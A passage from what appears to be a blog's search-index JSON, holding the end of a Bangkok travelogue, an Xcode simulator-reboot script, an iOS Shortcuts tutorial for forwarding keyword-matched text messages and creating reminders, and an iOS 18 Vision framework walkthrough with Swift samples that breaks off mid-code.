Saduak Floating Market | Depart from Bangkok](https://www.kkday.com/zh-tw/product/9912-maeklong-railway-damnoen-saduak-floating-market-day-tour-from-bangkok?cid=19365){:target=”blank”}** **_[- [Thailand] Bangkok Half-Day Private Car Tour Maeklong Railway Market — Amphawa Floating Market — Amphawa Firefly Night Cruise](https://www.kkday.com/zh-tw/product/21751-maeklong-railway-market-and-amphawa-floating-market-with-firefly-night-cruise-bangkok-thailand?cid=19365){:target=”blank”}** It was quite exciting and adventurous, even though the water was murky and had a smell.Head to Bangkok for a 2-day stay at Marriott Queens Park BangkokHEALTH LAND 2-hour full-body Thai massageThe guide specifically told the shop not to step on the back, only remembered it was very high-end, but it hurts and can’t sleep while being massaged XDRiver City Shopping ComplexBecause I have to go to the Chao Phraya Princess River Cruise for a buffet dinner tonight, I first went shopping at the department store near the pier.Chao Phraya Princess River Cruise Buffet Dinner 👉👉👉 Advance reservation is required, you can refer to KKday’s Chao Phraya Princess River Cruise with Dinner Buffet Thailand.The food was decent, but the night view was beautiful, you could see the lights of the Bangkok Riverside Night Market Ferris Wheel.After returning to the hotel, I went to the bar upstairs at the Marriott for a drink, I only remember the beautiful night view and cheap drinks.Day 4 Free TimeI remember going to the department store, Big C, and Central World.In the evening, went to Zoom Sky Bar at Anantara Sathorn Bangkok Hotel for a drinkThis is the hotel I stayed at this time XDDay 5 ReturnThis is the memory of the 2018 employee trip. This time I revisited Bangkok on a fully independent trip, which made me more familiar with this city. Compared to my previous impression, I feel that it is more prosperous, the food is better, and the prices are higher.— — —👉👉👉KKday Recommended Plans: Chao Phraya Princess River Cruise with Dinner Buffet Thailand Bangkok Classic Day Tour - Maeklong Railway and Damnoen Saduak Floating Market | Depart from Bangkok Thailand Bangkok Half-Day Private Car Tour - Maeklong Railway Market - Amphawa Floating Market - Amphawa Firefly Night Cruise Mahanakhon SkyWalk Bangkok Ticket Thailand BKK Airport Departure Meet and Greet Fast Track Service Thailand SIM Card - AIS 5G High-Speed Internet 8 Days Unlimited Data + Calls eSIM Thailand Airport Transfer - Private Car Service from Suvarnabhumi Airport (BKK) / Don Mueang Airport (DMK) to Bangkok/Pattaya/Hua Hin City Hotels Bangkok Airport Transfer - Private Car from Bangkok City to Suvarnabhumi Airport (BKK) / Don Mueang Airport (DMK)Feel free to contact me for any questions or feedback.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "iOS Temporary Workaround for Black Launch Screen Bug After Several Launches", "url": "/posts/7584f643c0aa/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, xcode, simulator, bugs, apple", "date": "2024-08-20 23:32:04 +0800", "snippet": "[iOS] Temporary Workaround for Black Launch Screen Bug After Several LaunchesTemporary workaround to solve XCode Build & Run app black screen issuePhoto by Etienne GirardetIssueI don’t know whe...", "content": "[iOS] Temporary Workaround for Black Launch Screen Bug After Several LaunchesTemporary workaround to solve XCode Build & Run app black screen issuePhoto by Etienne GirardetIssueI don’t know when XCode started (maybe 14?) some projects will freeze on a black screen after multiple Build & Run on the simulator. The status stays at “Launching Application…” without any response; even rebuilding and running again doesn’t work, manual termination of the entire simulator is required to restart and fix it.XCode 14.1: Stuck at “Launching Ap… | Apple Developer Forums Hello team, On Xcode 14.1, After building the project and when the simulator launches, it shows blank black screen… forums.developer.apple.comNew projects or projects with fewer settings encounter this issue less frequently; older projects face it more often, but due to their long history and complex settings, no definite root cause can be found through online searches, mostly speculated to be an XCode Bug (or M1?). However, this issue is very annoying, as during frequent Build & Run to check progress, the result is a black screen, requiring a complete restart each time, wasting about 1-2 minutes, disrupting development flow.WorkaroundHere is a workaround to navigate around this issue. Since we can’t avoid the black screen problem and it doesn’t occur on the first launch of the simulator during Build & Run, we just need to ensure that each Build & Run is on a freshly restarted simulator.First, we need to obtain the Device UUID of the simulator you want to runRun the following command in Terminal:xcrun simctl list devices Find the emulator device you want to use and its Device UUID. Here is an example with my iPhone 15 Pro (iOS 17.5):Device UUID = 08C43D34–9BF0–42CF-B1B9–1E92838413CCNext, we will create an auto-reboot.sh Shell Script file cd /directory/where/you/want/to/place/this/script/ vi auto-reboot.shPaste the following script: Replace [Device UUID] with the Device UUID of the emulator you want to use Remember to update this script with the new Device UUID if you change the emulator, or it will not work#!/bin/bash## Use the command below to find the Device UUID of the simulator you want to use:## xcrun simctl list devices# shutdown simulatorxcrun simctl shutdown [Device UUID]# reboot simulatorxcrun simctl boot [Device UUID] The script is straightforward, it shuts down and reboots the specified emulator ESC & :wq!Adjust the execution permission of auto-reboot.sh:chmod +x auto-reboot.shReturn to XCode SettingsSince everyone has different preferences for emulators, I set this up in XCode Behaviors. This won’t affect project settings or impact team members on git. However, for a simple and team-wide synchronization, you can directly set it in Scheme -> Build -> Pre-actions -> sh /directory/where/you/want/to/place/this/script/auto-reboot.sh.XCode Behaviors XCode -> Behaviors -> Edit Behaviors… Find the Running section Choose the Completes optionCompletion Trigger = Stop or Rebuild Check Run on the right Choose Choose Script… and select the location of the newly created auto-reboot.sh file FinishPrinciple and ConclusionWe use XCode Behaviors to restart the emulator at the Completes (Stop or Rebuild) trigger point, just before starting the Build. This process almost always completes the restart before the Build -> Run finishes.If you repeatedly restart, there is a chance of a slow restart, causing another black screen issue when running. However, this scenario is not considered, as this solution ensures normal execution of Build & Run App in daily use.In terms of speed impact, I think it’s acceptable because Build & Run itself takes some time, which is usually enough time for the emulator to restart.If you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "iOS Shortcut Automation Scenarios - Automatically Forwarding Text Messages and Creating Reminder Tasks", "url": "/posts/309d0302877b/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, automation, rpa-solutions, shortcuts, ios", "date": "2024-08-19 23:56:48 +0800", "snippet": "iOS Shortcut Automation Scenarios - Automatically Forwarding Text Messages and Creating Reminder TasksiOS uses Shortcuts to easily automate forwarding specific text messages to Line and automatical...", "content": "iOS Shortcut Automation Scenarios - Automatically Forwarding Text Messages and Creating Reminder TasksiOS uses Shortcuts to easily automate forwarding specific text messages to Line and automatically create reminders for parcel collection and credit card paymentPhoto by Jakub ŻerdzickiBackgroundShortcuts (formerly Workflow) is a new feature introduced in iOS 12; it allows users to create a series of tasks to be executed with a single tap and set to run automatically in the background.In addition to the built-in Shortcuts feature in iOS, Apple has also opened up Siri Shortcuts / App Intents to developers in recent years, allowing third-party apps to integrate some functions into Shortcuts for users to combine.The automatic execution conditions are currently limited to iOS itself or Apple’s own apps, such as specific times, arrival, departure from a location, NFC detection, receiving messages, emails, or connecting to Wi-Fi, battery level, Do Not Disturb mode, sound detection, and more.For Apple’s own services, there is no need to jailbreak as in the early days of forwarding text messages; Shortcuts function without jailbreaking and without installing strange third-party apps. There is already a lot of content online introducing how to use Shortcuts and providing ready-made scripts, so this article will not go into detail. The message forwarding feature across iOS devices (Settings -> Messages -> Message Forwarding) requires devices with the same Apple ID, so we need to use Shortcuts to help us forward specific messages.This article only introduces three practical, convenient, and simple application scenarios.Scenario 1 - Automatically Forward Text MessagesIn this era of rampant scam text messages, we are afraid that elderly family members or children at home may receive scam messages and inadvertently provide information to scammers, or that elderly family members may not understand the process of receiving text message verifications for account security and need remote assistance to complete the verification; we also fear that children may use their phones to do things that are not allowed.https://branch.taipower.com.tw/d112/xmdoc/cont?xsmsid=0M242581319225466606&sid=0N209616847897374705EffectConditions are set as follows: When receiving a text message containing “http,” forward the message “content” to me on Line. When receiving a text message containing “notification,” forward the message “content” to me on Line. When receiving a text message containing “verification code,” forward the message “content” to me on Line. When receiving a text message containing “authentication code,” forward the message “content” to me on Line.Even in standby mode without unlocking the phone, the forwarding can be executed correctly.Setup1. Install & Open the Shortcuts App2. Switch to the “Automation” tab, select the “+” in the upper right corner, and scroll down to find “Messages”3. Set Message Conditions “Message contains”: http ( =All text messages with URLs will be forwarded )Create separate shortcuts for multiple keywords. Change “Confirm then run” to “Run immediately” Click “Next”When - Other Settings: “Sender”: Multiple, but must be added to contacts At least one of the conditions “Message contains” or “Sender” must be set, so it is not possible to handle all messages without conditions4. Add Automation Action Select “Add Blank Automation” If you want to forward the message to Line, type “line” in the search box to find Line’s “Send Message” shortcut and select the desired target If only the last four conversation partners or groups appear here, and if the desired target does not appear, you can go back to Line and send a few messages to the target, then come back and it will appear. Selecting contacts’ phone numbers in Line to send messages is not effective. Similarly, you can also use the actions “Send Message” or “Send Email” (as shown in the third image) to forward the received message content to text messages (may incur text message charges if iCloud Messages is not enabled) or email.After adding the recipient Click on “Send ‘Message’ to ‘XXX’,” enter the message in the “Message” input box Swipe right and click on “Shortcut Input” Go back to the top and click on “Send ‘Shortcut Input’ to ‘XXX’,” enter the shortcut in the “Shortcut Input” input box In the pop-up menu, change the originally selected “Message” to “Content” Click the “X” next to the menu to close Click “Done” in the upper right corner To change the recipient to XXX, you need to click on the right X to remove the entire Line action, then add the Line Send Message action again with the new recipient. Confirm the final setting result is:When I receive a message containing \"XXX\", treat the message as input, Line will send \"content\" to \"XXX\" No problem, click “Done” in the upper right corner.If there is no response after clicking Done, it may be due to an iOS Bug. You can ignore it and directly click Back to return to the homepage. Back to the Shortcuts Automation homepage to view, pause, or modify this shortcut.Done!Just wait for new text messages to come in, and if they contain the specified keywords, they will be automatically forwarded (even if the phone is not unlocked). Due to current functionality limitations, a separate shortcut needs to be created for each keyword, and if the same text message contains different keywords, it will be sent twice.Scenario 2 — Automatically Create Reminder Tasks When Packages Arrive at Convenience StoresI currently use Apple’s built-in Reminders as a tool for managing daily tasks, so I also want to integrate things that need to remind me, such as package arrival at convenience stores, credit card payment notifications, etc.EffectSetting conditions as follows: When a text message containing “已在” is received, add a reminder task (Coupang uses “已在”). When a text message containing “送達” is received, add a reminder task (usually “送達”).Setup Steps1. Install & Open Shortcuts App2. Switch to the “Automation” tab, select the “+” in the upper right corner, and scroll down to find “Messages”3. Set Message ConditionsSimilar to the conditions set for automatically forwarding text messages in the previous section, here set Message content contains \"送達\" and change to \"Run Immediately\".4. Add Automation Actions & Set Reminder TimeFirst, we need to set the due date for the reminder task, add a date variable, calculate the time starting from when the message is received + the desired reminder time. Select Add a new blank automation action In the search box below, search for Adjust Date Select Adjust Date In the input box for Date to add 0 seconds to, select Current Date Select Add 0 \"seconds\", change to days in the input box for seconds Enter the number of days you want for the reminder time, here I enter 3 days Click the “X” next to the menu to close5. Add Reminder Task Action In the search box, enter Reminder, scroll down and click on Add ReminderAfter adding “Add Reminder”, Click on the first Reminder input box under Add \"Reminder\" to \"Reminders\" without prompting Swipe right and click on Shortcut Input Click on Add \"Shortcut Input\" to \"Reminders\" without prompting in the Shortcut Input input box In the pop-up menu, change the originally selected Message to Content Click the “X” next to the menu to close6. Set Reminder Notifications Change from \"Do not remind\" to \"Remind\" Select \"2:00 PM\" in the input box next to \"2:00 PM\", choose the variable \"Adjusted Date\" Click the “X” next to the menu to close After everything is okay, click “Done” in the top right cornerIf clicking “Done” does not respond, it may be an iOS bug. You can ignore it and directly click “Back” to return to the home page. Back to the Shortcuts Automation homepage to view, pause, or modify this shortcut.Done!As mentioned earlier, just wait for a new text message to come in. If it contains the specified keywords, a reminder will be automatically created (even if the phone is not unlocked). Due to current limitations, a separate shortcut needs to be created for each keyword. If the same text message contains different keywords, two reminders will be created.Scenario 3 - Automatically Create Reminder Tasks When Receiving Credit Card Bill EmailsAnother useful notification is for credit card bill notifications. Similar to text messages, you can trigger a shortcut automation to add a reminder task when receiving an email. However, since automation functions are not yet available to third-party apps, you can only use the Apple Mail App to trigger it.EffectSetting conditions as follows: When the email subject contains “Credit Card Bill,” add a reminder task Please note that each company has a different format. Some may call it “Credit Card E-Bill,” “Credit Card E-Statement,” and even more specific like “Credit Card XXXX Year X Month E-Bill” for Cathay Pacific. Since Regex is not supported at the moment, text matching is the only option. As mentioned earlier, a separate shortcut needs to be created for each keyword.1. Ensure you have installed the Mail App and completed the mailbox account login (Gmail is also supported)2. Confirm Email Fetch SettingsConfirm “Settings” -> “Mail” -> “Accounts” -> “Fetch New Data” is set to fetch or push.3. Install & Open the Shortcuts App4. Switch to the “Automation” tab, select the “+” in the top right corner, scroll down to find “Email”5. Set Email Conditions “Subject Contains”: Credit Card Bill Create multiple shortcuts for multiple keywords. Change “Ask Before Running” to Run Immediately Click “Next”Additional Settings: “From”: Multiple, but must be added to contacts Other Filter Conditions - Account: Can filter sources like iCloud or Gmail Other Filter Conditions - Recipient: Multiple, but must be added to contacts, usually multiple accounts of oneself4. Add Automation Actions & Set Reminder TimeFirst, set the expiration date of the reminder, add a date variable, calculate the time when the message is received + the time interval to get the desired reminder time. Choose Add a blank automation action In the search box below, search for Adjust date Select Adjust date Choose Add 0 seconds to \"date\" in the input box for date Below, select the variable, choose Current date Change the seconds in Add 0 \"seconds\" to days Enter the number of days you want for the reminder expiration, here I enter 3 days Click the “X” next to the menu to close5. Set Email FilteringUnlike triggering message by message, email triggering is batch fetching, so as long as the batch contains emails with the keyword title, those new emails will also be brought in together. Not sure if it’s a shortcut bug, but the result is as described.For example: Batch fetch three emails, including a Carrefour notification email, a credit card bill email, and an Uber notification email, all three will be input as shortcuts; therefore, we need to add another step to filter out the keyword emails we want.Pseudo Logic:for email title in emails if email title.contains(\"credit card bill\") then Add reminder else end end In the search box, type Repeat, scroll down and click on Repeat every item After adding, it will grab the wrong variable, select Every item in \"adjusted date\" in the input box for adjusted date, choose Clear variable After clearing, select Every item in \"item\" in the input box for item, choose Shortcut input In the search box, type If, scroll down and click on If At this point, the position will be wrong Drag the If \"Repeat Result\" \"Condition\" action under Every item in Shortcut Input Confirm the final position as shown in the second image above, if incorrect, delete Repeat and If and redo from the previous step Click on the Repeat Result input box of If \"Repeat Result\" \"Condition\", below change to select Title, click the “X” next to the menu to close Click on the Title input box of If \"Title\" \"Condition\", change to select Contains, enter credit card bill, click “Done” on the keyboard6. Set Email Filtering Search for “Reminder” in the search box and scroll down to find and click on “Add Reminder”. At this point, the location will be incorrect. Drag the action of “Add ‘Reminder’ to ‘Reminder’ and ‘Do Not Notify’” to below “Title”, “Contains”, “Credit Card Bill”. Confirm the final position as shown in the third image above. If it is incorrect, delete the duplicates and repeat from the previous step.After adding “Add Reminder”: Click on the first “Reminder” input box in “Add ‘Reminder’ to ‘Reminder’ and ‘Do Not Notify’”. Swipe right to find and click on “Recurring Item”. Go back to the top and click on the input box for “Recurring Item”, change the originally selected “Email” to “Title”. Click on the “X” next to the menu to close.6. Set Reminder AlertChange “Do Not Notify” to “Notify”.Select “2:00 PM” in the “2:00 PM” input box, choose the variable “Adjusted Date”.Click on the “X” next to the menu to close.If there is no response after clicking “Done”, it may be an iOS bug. You can ignore it and click “Back” to return to the home screen.You can view, pause, or modify this shortcut on the Shortcuts Automation homepage.Done!Setting up email is a bit more complicated because it involves batch extraction, so you need to filter again and create reminders based on the filtered results. Now, if there are new emails and Apple Mail has finished extracting, and there is a title of a credit card bill, it will be automatically created! Since Apple Mail is extracted (if not iCloud), email retrieval is not instant and will be delayed for a while.OthersAfter the Shortcuts Automation is executed, a notification will pop up that cannot be closed.EndYou have now completed several basic automation integration functions, saving you daily effort with just a few simple steps. For more advanced integrations, such as API integration with Notion or more complex integrations, they can also be achieved technically. What you lack is not the technology but your imaginative automation ideas!Further Reading on Automation Implementing Google Service RPA Automation with Google Apps Script Forwarding Gmail Emails to Slack Using Google Apps ScriptIf you have any questions or feedback, feel free to contact me." }, { "title": "iOS Vision framework x WWDC 24 Discover Swift enhancements in the Vision framework Session", "url": "/posts/755509180ca8/", "categories": "KKday, Tech, Blog", "tags": "ios-app-development, vision-framework, apple-intelligence, ai, machine-learning", "date": "2024-08-13 16:10:37 +0800", "snippet": "iOS Vision framework x WWDC 24 Discover Swift enhancements in the Vision framework SessionVision framework review & trying out new Swift API in iOS 18Photo by BoliviaInteligenteTopicThe relatio...", "content": "iOS Vision framework x WWDC 24 Discover Swift enhancements in the Vision framework SessionVision framework review & trying out new Swift API in iOS 18Photo by BoliviaInteligenteTopicThe relationship with Vision Pro is like the relationship between hot dogs and dogs, completely unrelated.Vision frameworkThe Vision framework is Apple’s integrated image recognition framework for machine learning, allowing developers to easily and quickly implement common image recognition functions. The Vision framework was introduced as early as iOS 11.0+ (2017/iPhone 8) and has been continuously iterated and optimized. It enhances performance by integrating features with Swift Concurrency and provides a new Swift Vision framework API from iOS 18.0 to maximize the benefits of Swift Concurrency.Features of Vision framework Built-in numerous image recognition and motion tracking methods (up to 31 as of iOS 18) On-Device computation using only the phone’s chip, independent of cloud services, fast and secure Simple and easy-to-use API Apple supports all platforms: iOS 11.0+, iPadOS 11.0+, Mac Catalyst 13.0+, macOS 10.13+, tvOS 11.0+, visionOS 1.0+ Released for multiple years (2017-present) and continuously updated Enhances computational performance by integrating Swift language features Played around 6 years ago: Exploring Vision - Automatically Recognizing Faces for App Avatar Cropping (Swift) This time, in conjunction with WWDC 24 Discover Swift enhancements in the Vision framework Session, revisiting and combining new Swift features to play again.CoreMLApple also has another framework called CoreML, which is a machine learning framework based on On-Device chips. It allows you to train models for objects or documents you want to recognize and use the models directly in the app. Interested friends can also give it a try. (e.g. Real-time article classification, real-time spam message detection …)p.s.Vision v.s. VisionKit: Vision: Mainly used for image analysis tasks such as face recognition, barcode detection, text recognition, etc. It provides powerful APIs to handle and analyze visual content in static images or videos. VisionKit: Specifically designed for tasks related to document scanning. It offers a scanner view controller that can be used to scan documents and generate high-quality PDFs or images.The Vision framework cannot run on the M1 model in the simulator, it can only be tested on a physical device; running in a simulator environment will throw a Could not create Espresso context error, no solution found in the official forum discussion. Since I don’t have a physical iOS 18 device for testing, all the execution results in this article are based on the old (pre-iOS 18) syntax; please leave a comment if there are errors with the new syntax.WWDC 2024 — Discover Swift enhancements in the Vision frameworkDiscover Swift enhancements in the Vision framework This article is a sharing note for WWDC 24 — Discover Swift enhancements in the Vision framework session, along with some experimental insights.Introduction — Vision framework FeaturesFace recognition, contour recognitionText recognition in image contentAs of iOS 18, it supports 18 languages.// Supported language listif #available(iOS 18.0, *) { print(RecognizeTextRequest().supportedRecognitionLanguages.map { \"\\($0.languageCode!)-\\(($0.region?.identifier ?? $0.script?.identifier)!)\" })} else { print(try! VNRecognizeTextRequest().supportedRecognitionLanguages())}// The actual available recognition languages are based on this.// Tested on iOS 18, the output is as follows:// [\"en-US\", \"fr-FR\", \"it-IT\", \"de-DE\", \"es-ES\", \"pt-BR\", \"zh-Hans\", \"zh-Hant\", \"yue-Hans\", \"yue-Hant\", \"ko-KR\", \"ja-JP\", \"ru-RU\", \"uk-UA\", \"th-TH\", \"vi-VT\", \"ar-SA\", \"ars-SA\"]// Swedish language mentioned in WWDC was not seen, unsure if it has not been released yet or is related to device region and language settingsDynamic motion capture Can achieve dynamic capture of people and objects Gesture capture implements air signature functionWhat’s new in Vision? (iOS 18)— Image rating feature (quality, key points) Calculate scores for input images to easily filter out high-quality photos The scoring method includes multiple dimensions, not just image quality, but also lighting, angles, shooting subjects, whether there are memorable points … and so onWWDC provided the above three images for explanation (under the same image quality), which are: High-scoring image: composition, lighting, memorable points Low-scoring image: no main subject, looks like taken casually or accidentally Utility image: technically well-taken but lacks memorable points, like images used for stock photo librariesiOS ≥ 18 New API: CalculateImageAestheticsScoresRequestlet request = CalculateImageAestheticsScoresRequest()let result = try await request.perform(on: URL(string: \"https://zhgchg.li/assets/cb65fd5ab770/1*yL3vI1ADzwlovctW5WQgJw.jpeg\")!)// Photo scoreprint(result.overallScore)// Whether it is judged as a utility imageprint(result.isUtility)What’s new in Vision? (iOS 18) — Simultaneous detection of body and gesture posesIn the past, only body pose and hand pose could be detected separately.With this update, developers can detect both body and hand poses simultaneously, combining them into a single request and result, making it more convenient for further feature development.iOS ≥ 18 New API: DetectHumanBodyPoseRequestvar request = DetectHumanBodyPoseRequest()// Detect hand pose togetherrequest.detectsHands = trueguard let bodyPose = try await request.perform(on: image). first else { return }// Body Pose Jointslet bodyJoints = bodyPose.allJoints()// Left hand Pose Jointslet leftHandJoints = bodyPose.leftHand.allJoints()// Right hand Pose Jointslet rightHandJoints = bodyPose.rightHand.allJoints()New Vision APIApple provides new Swift Vision API wrappers for developers in this update, in addition to basic support for existing functionalities, mainly focusing on enhancing Swift 6 / Swift Concurrency features, providing more efficient and Swift-like API operation methods.Get started with VisionThe speaker here reintroduced the basic usage of the Vision framework. Apple has encapsulated 31 types of common image recognition requests and their corresponding “Observation” objects (as of iOS 18). Request: DetectFaceRectanglesRequest - Face area recognition requestResult: FaceObservationThe previous article “Exploring Vision - Automatically Identify Faces for Avatar Upload in Apps (Swift)” used this pair of requests. Request: RecognizeTextRequest - Text recognition requestResult: RecognizedTextObservation Request: GenerateObjectnessBasedSaliencyImageRequest - Objectness-based object recognition requestResult: SaliencyImageObservation All 31 types of requests:VisionRequest. Request Purpose Observation Description CalculateImageAestheticsScoresRequestCalculate the aesthetic score of the image. AestheticsObservationReturns the aesthetic score of the image, considering factors like composition and color. ClassifyImageRequestClassify the content of the image. ClassificationObservationReturns the classification labels and confidence of objects or scenes in the image. CoreMLRequestAnalyze images using Core ML models. CoreMLFeatureValueObservationGenerates observations based on the output of Core ML models. DetectAnimalBodyPoseRequestDetect animal poses in images. RecognizedPointsObservationReturns the skeleton points and their positions of animals. DetectBarcodesRequestDetect barcodes in images. BarcodeObservationReturns barcode data and types (e.g., QR code). DetectContoursRequestDetect contours in images. ContoursObservationReturns detected contour lines in the image. DetectDocumentSegmentationRequestDetect and segment documents in images. RectangleObservationReturns the rectangular boundary positions of documents. DetectFaceCaptureQualityRequestEvaluate the quality of face captures. FaceObservationReturns quality assessment scores for facial images. DetectFaceLandmarksRequestDetect facial landmarks. FaceObservationReturns detailed positions of facial landmarks (e.g., eyes, nose). DetectFaceRectanglesRequestDetect faces in images. FaceObservationReturns the bounding box positions of faces. DetectHorizonRequestDetect horizons in images. HorizonObservationReturns the angle and position of the horizon. DetectHumanBodyPose3DRequestDetect 3D human body poses in images. RecognizedPointsObservationReturns 3D human skeleton points and their spatial coordinates. DetectHumanBodyPoseRequestDetect human body poses in images. RecognizedPointsObservationReturns human skeleton points and their coordinates. DetectHumanHandPoseRequestDetect hand poses in images. RecognizedPointsObservationReturns hand skeleton points and their positions. DetectHumanRectanglesRequestDetect humans in images. HumanObservationReturns the bounding box positions of humans. DetectRectanglesRequestDetect rectangles in images. RectangleObservationReturns the coordinates of the four vertices of rectangles. DetectTextRectanglesRequestDetect text regions in images. TextObservationReturns the positions and bounding boxes of text regions. DetectTrajectoriesRequestDetect and analyze object motion trajectories. TrajectoryObservationReturns motion trajectory points and their time series. GenerateAttentionBasedSaliencyImageRequestGenerate attention-based saliency images. SaliencyImageObservationReturns saliency maps of the most attractive areas in the image. GenerateForegroundInstanceMaskRequestGenerate foreground instance mask images. InstanceMaskObservationReturns masks of foreground objects. GenerateImageFeaturePrintRequestGenerate image feature prints for comparison. FeaturePrintObservationReturns feature fingerprint data of images for similarity comparison. GenerateObjectnessBasedSaliencyImageRequestGenerate objectness-based saliency images. SaliencyImageObservationReturns saliency maps of object saliency areas. GeneratePersonInstanceMaskRequestGenerate person instance mask images. InstanceMaskObservationReturns masks of person instances. GeneratePersonSegmentationRequestGenerate person segmentation images. SegmentationObservationReturns binary images of person segmentation. RecognizeAnimalsRequestDetect and identify animals in images. RecognizedObjectObservationReturns animal types and their confidence levels. RecognizeTextRequestDetect and identify text in images. RecognizedTextObservationReturns detected text content and its spatial positions. TrackHomographicImageRegistrationRequestTrack homographic image registration. ImageAlignmentObservationReturns homographic transformation matrices between images for image registration. TrackObjectRequestTrack objects in images. DetectedObjectObservationReturns the positions and velocity information of objects in images. TrackOpticalFlowRequestTrack optical flow in images. OpticalFlowObservationReturns optical flow vector fields describing pixel movements. TrackRectangleRequestTrack rectangles in images. RectangleObservationReturns the positions, sizes, and rotation angles of rectangles in images. TrackTranslationalImageRegistrationRequestTrack translational image registration. ImageAlignmentObservationReturns translational transformation matrices between images for image registration. Prefixing VN in front is the old API writing method (before iOS 18)The speaker mentioned several commonly used Requests as follows.ClassifyImageRequestRecognize the input image, obtain label classification and confidence.[Travelogue] 2024 Second Visit to Kyushu 9-Day Free and Easy Trip, Entering Fukuoka by Busan→Hakata Cruiseif #available(iOS 18.0, *) { // New API using Swift features let request = ClassifyImageRequest() Task { do { let observations = try await request.perform(on: URL(string: \"https://zhgchg.li/assets/cb65fd5ab770/1*yL3vI1ADzwlovctW5WQgJw.jpeg\")!) observations.forEach { observation in print(\"\\(observation.identifier): \\(observation.confidence)\") } } catch { print(\"Request failed: \\(error)\") } }} else { // Old method let completionHandler: VNRequestCompletionHandler = { request, error in guard error == nil else { print(\"Request failed: \\(String(describing: error))\") return } guard let observations = request.results as? [VNClassificationObservation] else { return } observations.forEach { observation in print(\"\\(observation.identifier): \\(observation.confidence)\") } } let request = VNClassifyImageRequest(completionHandler: completionHandler) DispatchQueue.global().async { let handler = VNImageRequestHandler(url: URL(string: \"https://zhgchg.li/assets/cb65fd5ab770/1*3_jdrLurFuUfNdW4BJaRww.jpeg\")!, options: [:]) do { try handler.perform([request]) } catch { print(\"Request failed: \\(error)\") } }}Analysis Results: • outdoor: 0.75392926 • sky: 0.75392926 • blue_sky: 0.7519531 • machine: 0.6958008 • cloudy: 0.26538086 • structure: 0.15728651 • sign: 0.14224191 • fence: 0.118652344 • banner: 0.0793457 • material: 0.075975396 • plant: 0.054406323 • foliage: 0.05029297 • light: 0.048126098 • lamppost: 0.048095703 • billboards: 0.040039062 • art: 0.03977703 • branch: 0.03930664 • decoration: 0.036868922 • flag: 0.036865234....etcRecognizeTextRequestRecognize the text content in the image (a.k.a OCR)[Travelogue] 2023 Tokyo 5-day free trip](../9da2c51fa4f2/)if #available(iOS 18.0, *) { // New API using Swift features var request = RecognizeTextRequest() request.recognitionLevel = .accurate request.recognitionLanguages = [.init(identifier: \"ja-JP\"), .init(identifier: \"en-US\")] // Specify language code, e.g., Traditional Chinese Task { do { let observations = try await request.perform(on: URL(string: \"https://zhgchg.li/assets/9da2c51fa4f2/1*fBbNbDepYioQ-3-0XUkF6Q.jpeg\")!) observations.forEach { observation in let topCandidate = observation.topCandidates(1).first print(topCandidate?.string ?? \"No text recognized\") } } catch { print(\"Request failed: \\(error)\") } }} else { // Old way let completionHandler: VNRequestCompletionHandler = { request, error in guard error == nil else { print(\"Request failed: \\(String(describing: error))\") return } guard let observations = request.results as? [VNRecognizedTextObservation] else { return } observations.forEach { observation in let topCandidate = observation.topCandidates(1).first print(topCandidate?.string ?? \"No text recognized\") } } let request = VNRecognizeTextRequest(completionHandler: completionHandler) request.recognitionLevel = .accurate request.recognitionLanguages = [\"ja-JP\", \"en-US\"] // Specify language code, e.g., Traditional Chinese DispatchQueue.global().async { let handler = VNImageRequestHandler(url: URL(string: \"https://zhgchg.li/assets/9da2c51fa4f2/1*fBbNbDepYioQ-3-0XUkF6Q.jpeg\")!, options: [:]) do { try handler.perform([request]) } catch { print(\"Request failed: \\(error)\") } }}Analysis Result:LE LABO Aoyama StoreTEL:03-6419-7167*Thank you for your purchase*No: 21347Date: 2023/06/10 14.14.57Responsible:1690370Register: 008A 1Product NameTax-inclusive Price Quantity Tax-inclusive TotalKaiak 10 EDP FB 15MLJ1P7010000S16,80016,800Another 13 EDP FB 15MLJ1PJ010000S10,70010,700Lip Balm 15MLJOWC010000S2,0001Total Amount(Tax Included)CARD2,0003 items purchased29,500029,50029,500DetectBarcodesRequestDetect barcode and QR code data in the image.Thai locals recommend Goose Brand Cooling Gellet filePath = Bundle.main.path(forResource: \"IMG_6777\", ofType: \"png\")! // Local test imagelet fileURL = URL(filePath: filePath)if #available(iOS 18.0, *) { // New API using Swift features let request = DetectBarcodesRequest() Task { do { let observations = try await request.perform(on: fileURL) observations.forEach { observation in print(\"Payload: \\(observation.payloadString ?? \"No payload\")\") print(\"Symbology: \\(observation.symbology)\") } } catch { print(\"Request failed: \\(error)\") } }} else { // Old way let completionHandler: VNRequestCompletionHandler = { request, error in guard error == nil else { print(\"Request failed: \\(String(describing: error))\") return } guard let observations = request.results as? [VNBarcodeObservation] else { return } observations.forEach { observation in print(\"Payload: \\(observation.payloadStringValue ?? \"No payload\")\") print(\"Symbology: \\(observation.symbology.rawValue)\") } } let request = VNDetectBarcodesRequest(completionHandler: completionHandler) DispatchQueue.global().async { let handler = VNImageRequestHandler(url: fileURL, options: [:]) do { try handler.perform([request]) } catch { print(\"Request failed: \\(error)\") } }}Analysis Results:Payload: 8859126000911Symbology: VNBarcodeSymbologyEAN13Payload: https://lin.ee/hGynbVMSymbology: VNBarcodeSymbologyQRPayload: http://www.hongthaipanich.com/Symbology: VNBarcodeSymbologyQRPayload: https://www.facebook.com/qr?id=100063856061714Symbology: VNBarcodeSymbologyQRRecognizeAnimalsRequestRecognize animals in the image with confidence.meme Sourcelet filePath = Bundle.main.path(forResource: \"IMG_5026\", ofType: \"png\")! // Local test imagelet fileURL = URL(filePath: filePath)if #available(iOS 18.0, *) { // New API using Swift features let request = RecognizeAnimalsRequest() Task { do { let observations = try await request.perform(on: fileURL) observations.forEach { observation in let labels = observation.labels labels.forEach { label in print(\"Detected animal: \\(label.identifier) with confidence: \\(label.confidence)\") } } } catch { print(\"Request failed: \\(error)\") } }} else { // Old way let completionHandler: VNRequestCompletionHandler = { request, error in guard error == nil else { print(\"Request failed: \\(String(describing: error))\") return } guard let observations = request.results as? [VNRecognizedObjectObservation] else { return } observations.forEach { observation in let labels = observation.labels labels.forEach { label in print(\"Detected animal: \\(label.identifier) with confidence: \\(label.confidence)\") } } } let request = VNRecognizeAnimalsRequest(completionHandler: completionHandler) DispatchQueue.global().async { let handler = VNImageRequestHandler(url: fileURL, options: [:]) do { try handler.perform([request]) } catch { print(\"Request failed: 